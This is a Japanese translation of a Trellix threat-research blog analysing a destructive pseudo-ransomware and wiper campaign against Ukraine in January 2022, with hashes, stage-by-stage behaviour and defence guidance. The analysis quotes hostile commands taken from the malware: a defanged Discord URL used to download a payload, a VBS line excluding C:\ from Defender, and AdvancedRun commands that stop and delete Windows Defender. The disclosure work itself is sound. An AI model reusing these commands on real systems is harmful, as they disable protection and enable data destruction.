ウクライナを標的としたランサムウェア

※著者のほか、Arnab RoyFilippo SitziaMo Cashman がこのブログの調査に協力しています。

ウクライナを標的とした「ランサムウェア」キャンペーンに関する最近のニュース報道では、属性だけでなく、考えうる動機についても大きく取り上げられました。動機が明白な従来のランサムウェアのキャンペーンとは異なり、今回のキャンペーンは疑似的なものであると考えられています1つまり、Stage 4のワイパーが被害者のシステムのデータを単純に上書きするため復号化が不可能であることから、感染したシステムの破壊を引き起こすことが目的だと思われます。このキャンペーンは主に1つの国を対象としていますが、Trellix  Advanced Threat Researchチームは、他国でどのような指標が確認されているかを強調するためにMVISION Insightsでその状況を公開しています。 (CISA Insights)

Source: Insights Preview

引き続き、脅威からの保護と検知に必要なセキュリティ体制を確保することを強く推奨します。アクティブ・ハンティングのためのIOCIndicators of Compromise)はプレビュー版で利用可能で、既知の指標のすべてを製品に取り込んでいます。さらに、この攻撃の新しい要素が発生した場合に確実に特定するための作業を続けています。

キャンペーンの詳細

最初のサンプルと指標は、1月13日木曜日の深夜(UTC時間)に報告されました。ウクライナでは午前1時ごろにあたります。

この攻撃は、3つのステージで構成されています。

図1:攻撃フロー

ステージ1 MBRを上書き、全パーティションの破壊
最初に発見されたファイルは次の通りです。

Filename Stage1.exe
Compile time 01-10-2022 10:37:18
SHA1 189166d382c73c242ba45889d57980548d4ba37e
SHA256 a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
MD5 5d5c99a08a7d927346ca2dafa7973fc1

ステージ2DiscordがホストするCDN経由ステージ3のダウンロード

Filename Stage2.exe (originally named Tbopbh.exe)
Compile time 01-10-2022 14:39:54
SHA1 16525cb2fd86dce842107eb1ba6174b23f188537
SHA256 dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
MD5 14c8482f302b5e81e3fa1b18a509289d

ステージ3: file wiperの実行

Filename Frkmlkdkdubkznbkmcf.dll
SHA1 82d29b52e35e7938e7ee610c04ea9daaf5e08e90
SHA256 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
MD5 e61518ae9454a563b8f842286bbdb87b

両方の実行ファイルのパスは “C:\”. でした。冗談はともかく、実際このようなファイル名でした。

サンプル解析で確認した限り、どちらのファイルも破壊的な性質を持っています。

Stage 1 – マスターブートレコードの書き換え

最初のステージである「Stage1.exe」から始めると、実行後にランサムウェアとなり、MBRMaster Boot Record)の上書きを行います。VMでマルウェアを実行した後にマシンを再起動すると、次のような内容が表示されます。

多くのランサムウェアのノートと同様に、デバイスが暗号化され、ファイルが人質に取られているという通知と、要求された金額を要求された通貨で送るための支払いアドレスという、通常の文言が含まれています。このケースでは、稀にTOX IDが含まれています。TOXは、ピアツーピア接続でエンドツーエンドで暗号化されたチャットを行うために使用されます。 

異なる亜種を分析しましたが、金額とBTCアドレスは同じままでした。ほとんどのRansomware-as-a-Serviceの操作では、ビットミキサーを使用して取引を難読化するために変更されるのですが、これは同じです。

コードを分析した結果、ボリュームシャドウコピーを削除するコードや、マルウェアの削除や復元操作によく使われるリカバリーモードのブートプロセスをブロックするコードは確認されませんでした。これらのステップは、ほとんどのランサムウェアのサンプルで非常に一般的です。

以下のコードでは、マルウェアがMBRが存在する物理ドライブにアクセスし、MBRを上書きしていることが確認できます。

Stage 2 – Discordダウンローダー

「Stage2」ファイルには、プロキシクライアント「Proxifier」のアイコンに似たアイコンが使用されています。作者は、サンプルを証明書で署名し、オペレーティングシステムに属するマイクロソフトのバイナリとして擬装することで、検出を回避しようとしました。このファイルに添付されているメタデータは、以下のスクリーンショットに見られるように、ロシア語です。アセンブリの説明とタイトルは両方とも “Проводник “(英語ではConductor)と同じです。であることが、以下のスクリーンショットの24行目と25行目に示されています。

stage2は実行されると、以下のようにエンコードされたPowerShellコマンドを実行します

powershell.exe” -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==

base64でエンコードされたコマンドがデコードされると、実際のコマンドが表示される。実行を遅らせるために10秒間のスリープが入る

Powershell.exe Start-Sleep -s 10

その後、マルウェアは、DiscordCDNサーバーから「Tbopbh.jpg」という名前のファイルをダウンロードするように進ませます。

hxxps://cdn[.]discordapp[.]com/attachments/928503440139771947/930108637681184768/Tbopbh[.]jpg

 

Filename Tbobph.jpg
SHA1 b2d863fc444b99c479859ad7f012b840f896172e
SHA256 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6
MD5 b3370eb3c5ef6c536195b3bea0120929

このファイルは画像ではなく、PEファイルを反転させたものです。その呼び出しの前に、データが順番に反転されます。このファイルはDotNet FrameworkベースのDLLで、下のスニペットに見られるように、ステージ3の起点が反射的に呼び出されます。

3段の静的関数は “Ylfwdwgmpilzyaph “という名前で、それぞれ名前空間とクラスとして “ClassLibrary1.Main “に存在し、この関数は引数を取らず、値も返しません。

Stage 3 – 再利用されるローダー

Filename Frkmlkdkdubkznbkmcf.dll
SHA1 82d29b52e35e7938e7ee610c04ea9daaf5e08e90
SHA256 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
MD5 e61518ae9454a563b8f842286bbdb87b

この段階は、前の段階での反射的な呼び出しから導き出されるように、DotNet Frameworkのバイナリでもあります。使用されるローダーはより一般的で、一般的にコモディティマルウェアを広めるために使用されます。最近のTwitterのスレッドで説明されているように、xClient RATもこのローダーファミリーを介して配布されました。

このローダーは、実行中に複数のプロセスを開始し、その後、プロセスの空洞化を利用してステージ4を注入・実行します。最初に、ローダーは管理者権限を持っていることを確認します。そうでない場合は、権限を要求しながら再度プロセスを開始します。

 最初に起動するプロセスは、“%temp%Nmddfrqrbyjeygggda.vbs “にドロップするファイルです。このファイルの内容は、以下のようにかなり小さいものです。

CreateObject(“WScript.Shell”).Run “powershell Set-MpPreference -ExclusionPath ‘C:\'”, 0, False

これにより、Windows Defenderの詮索の対象から “C:\” が除外されます。上記のように、最初の2つのステージは両方ともこの正確な場所にあり、除外が設置されるとその滞在はDefenderのスキャンで検出されないことを意味します。

 その後に開始される2つのプロセスは、コマンドを実行するために同じツールを利用します。AdvancedRun by Nir Soferです。使用されているバージョン (1.2.2.6, signed on Monday the third of August 2020, at 5:45:51 AM by Nir Sofer) は、このマルウェアによって悪用されている正規の実行ファイルです。

AdvancedRunの最初の実行は、見えないウィンドウを使って、Defenderを停止させるために使用されます。

%temp%\AdvancedRun.exe /EXEFilename “C:\Windows\System32\sc.exe” /WindowState 0 /CommandLine “stop WinDefend” /StartDirectory “” /RunAs 8 /Run

AdvancedRun2回目の実行は、Defenderのファイルをシステムから完全に削除するために使用されます。

%temp%\AdvancedRun.exe /EXEFilename “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” /WindowState 0 /CommandLine “rmdir ‘C:\ProgramData\Microsoft\Windows Defender’ -Recurse” /StartDirectory “” /RunAs 8 /Run

その後、ローダーはDotNet Framework内の相互運用性機能を使って、マネージドコンテキストからアンマネージドコードを実行します。以下の関数のリストは、どのアンマネージド関数が使用されたかを示しており、順序は不明です。これらのファイル名は、ローダー内でbase64エンコードされています。

  • ResumeThread
  • Wow64SetThreadContext
  • SetThreadContext
  • GetThreadContext
  • VirtualAllocEx
  • WriteProcessMemory
  • ZwUnmapViewOfSection
  • CreateProcessA
  • CloseHandle
  • ReadProcessMemory

これらの関数呼び出しは、プロセスインジェクションの使用方法を示しています。これに基づいて、第4ステージをダンプすることができ、その分析結果は以下のとおりです。

Stage 4 – ワイパー

Filename
SHA1 8be3c66aecd425f1f123aadc95830de49d1851b5
SHA256 191ca4833351e2e82cb080a42c4848cfbc4b1f3e97250f2700eff4e97cf72019
MD5 343fcded2aaf874342c557d3d5e5870d

ワイパーはC言語で記述されており、シンボルやその他のデバッグ情報は含まれていません。主な機能と注意事項を以下に示します。

このマルウェアは、すべてのドライブを繰り返し、以下の191の拡張子のいずれかに一致するすべてのファイルを消去します。

.HTML, .HTM, .SHTML, .XHTML, .PHTML, .PHP, .JSP, .ASP, .PHPS, .PHP5, .ASPX, .PHP4, .PHP6, .PHP7, .PHP3, .DOC, .DOCX, .XLS, .XLSX, .PPT, PPTX, .PST, .OST, .MSG, .EML, .VSD, .VSDX, .TXT, .CSV, .RTF, .WKS, .WK1, .PDF, .DWG, .ONETOC2, .SNT, .JPEG, .JPG, .DOCB, .DOCM, .DOT, .DOTM, .DOTX, .XLSM, .XLSB, .XLW, .XLT, .XLM, .XLC, .XLTX, .XLTM, .PPTM, .POT, .PPS, .PPSM, .PPSX, .PPAM, .POTM, .EDB, .HWP, .602, .SXI, .STI, .SLDX, .SLDM, .BMP, .PNG, .GIF, .RAW, .CGM, .SLN, .TIF, .TIFF, .NEF, .PSD, .AI, .SVG, .DJVU, .SH, .CLASS, .JAR, .BRD, .SCH, .DCH, .DIP, .PL, .VB, .VBS, .PS1, .BAT, .CMD, .JS, .ASM, .H, .PAS, .CPP, .C, .CS, .SUO, .ASC, .LAY6, .LAY, .MML, .SXM, .OTG, .ODG, .UOP, .STD, .SXD, .OTP, .ODP, .WB2, .SLK, .DIF, .STC, .SXC, .OTS, .ODS, .3DM, .MAX, .3DS, .UOT, .STW, .SXW, .OTT, .ODT, .PEM, .P12, .CSR, .CRT, .KEY, .PFX, .DER, .OGG, .RB, .GO, .JAVA, .INC, .WAR, .PY, .KDBX, .INI, .YML, .PPK, .LOG, .VDI, .VMDK, .VHD, .HDD, .NVRAM, .VMSD, .VMSN, .VMSS, .VMTM, .VMX, .VMXF, .VSWP, .VMTX, .VMEM, .MDF, .IBD, .MYI, .MYD, .FRM, .SAV, .ODB, .DBF, .DB, .MDB, .ACCDB, .SQL, .SQLITEDB, .SQLITE3, .LDF, .SQ3, .ARC, .PAQ, .BZ2, .TBK, .BAK, .TAR, .TGZ, .GZ, .7Z, .RAR, .ZIP, .BACKUP, .ISO, .VCD, .BZ, .CONFIG

ワイピングのプロセスは下図のとおりです。

 

名前除外リストには、以下のファイル名が含まれます。“.”, “.”, “$RECYCLE.BIN”, または “HOMEDRIVE” という名前の環境変数の値です。

長すぎるファイル名は、ディスクデシグネーターを使用して適切に処理できないため、別の方法を取らなければなりません。マイクロソフトのドキュメントでは、すべてのシナリオについて、その方法と理由を含めて明確に説明しています。

ワイプが終了すると、main 関数内の 2 番目の関数が呼び出され、与えられたコマンドの非同期実行と自身のプロセスの終了により、その時点でもう使用されていないワイパーのファイルが削除されるようにします。そのコードを以下に示します。

“111.111.111.111”、各リクエストの間に10ミリ秒の待ち時間があります。コマンドの出力は “Nul “に送られ、出力が確実に隠される。さらに、ワイパーのパスを引数として、ディスクから強制的かつ静かに削除されます。プログラムがまだ実行中であれば、これは失敗します。そのため、pingコマンドが最初に実行されるのです。下のスクリーンショットの関数は、与えられたコマンドを実行し、すべてのハンドルを閉じます。

最後に、EWX_SHUTDOWNをフラグとしてExitWindowsExが呼び出され、すべてのファイルバッファがディスクにフラッシュされたことが確認されます。与えられたシャットダウンの理由は、ネットワーク接続に関連しています。

MITREのテクニック
T1059.001 PowerShell Usage of PowerShell to download file from Discord and execute.
T1485 Data Destruction MBR wiping and/or file overwriting to corrupt them
T1059.005 Visual Basic Stage3 is running vbs with Wscript init.
T1562.004 Disable or Modify System firewall Stage3 is disabling the Defender
T1112 Modify Registry Registry settings changed to disable tooling
T1105 Ingress Tool Transfer Files like Stage1.exe and stage2.exe were transferred into and through the network.
ディフェンスガイダンス

脅威インテリジェンス

MVISION Insightsは、キャンペーンに関連するIOCの早期可視化と、お客様の環境での関連する検出の有無を確認することができます。

また、MVISION Insightsでは、ENSの検出結果とキャンペーンのマッチングや、実行の流れを示すプロセストレース情報を提供することで、お客様の環境における普及の兆候を示します。

ENS AMCoreの定義が最新であること、GTIおよびリアルプロテクトが有効であることを確認してください。

2:ステージ1、ステージ2ENSのトリガー検出結果

MVISION EDRは、以下のようにプロセスの実行を完全に可視化することができます。

ここでは、セカンドステージのペイロードの通信フローと、powershellスクリプトの実行の意図を確認することができます。

 検出された脅威から調査を始めると、powershellcmdなどのデュアルインテルツールを使用してOSコマンドを実行し、システムに変更を加え、追加のペイロードをダウンロードすることがわかります。


1 https://www.helpnetsecurity.com/2017/08/14/pseudo-ransomware/

※本ページの内容は2022年1月20日(US時間)更新の以下のTrellix Storiesの内容です。
原文: Return of Pseudo Ransomware
著者: Christiaan BeekMax KerstenRaj Samani